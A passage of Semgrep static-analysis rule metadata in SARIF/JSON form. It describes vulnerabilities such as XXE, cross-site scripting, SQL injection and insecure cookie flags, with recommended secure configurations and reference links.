[https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.no-direct-response-writer.no-direct-response-writer","id":"java.servlets.security.no-direct-response-writer.no-direct-response-writer","name":"java.servlets.security.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","id":"kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","name":"kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","id":"python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","name":"python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner."},"help":{"markdown":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output)\n - [https://pkg.go.dev/runtime/pprof#Profile](https://pkg.go.dev/runtime/pprof#Profile)\n","text":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner."},"helpUri":"https://semgrep.dev/r/go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","id":"go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","name":"go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","id":"python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","name":"python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","id":"go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","name":"go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml)\n - [https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","id":"typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","name":"typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.missing-httponly.missing-httponly)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.missing-httponly.missing-httponly","id":"csharp.lang.audit.cookies.missing-httponly.missing-httponly","name":"csharp.lang.audit.cookies.missing-httponly.missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.missing-httponly.missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","id":"terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","name":"terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false)\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","id":"java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","name":"java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://cwe.mitre.org/data/definitions/501.html](https://cwe.mitre.org/data/definitions/501.html)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1)\n - [https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle](https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle)\n","text":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","id":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","name":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"help":{"markdown":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.extends-custom-expression.extends-custom-expression)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#avoiding-sql-injection](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#avoiding-sql-injection)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.extends-custom-expression.extends-custom-expression","id":"python.django.security.audit.extends-custom-expression.extends-custom-expression","name":"python.django.security.audit.extends-custom-expression.extends-custom-expression","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.extends-custom-expression.extends-custom-expression"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli)\n - [https://node-postgres.com/features/queries](https://node-postgres.com/features/queries)\n","text":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', 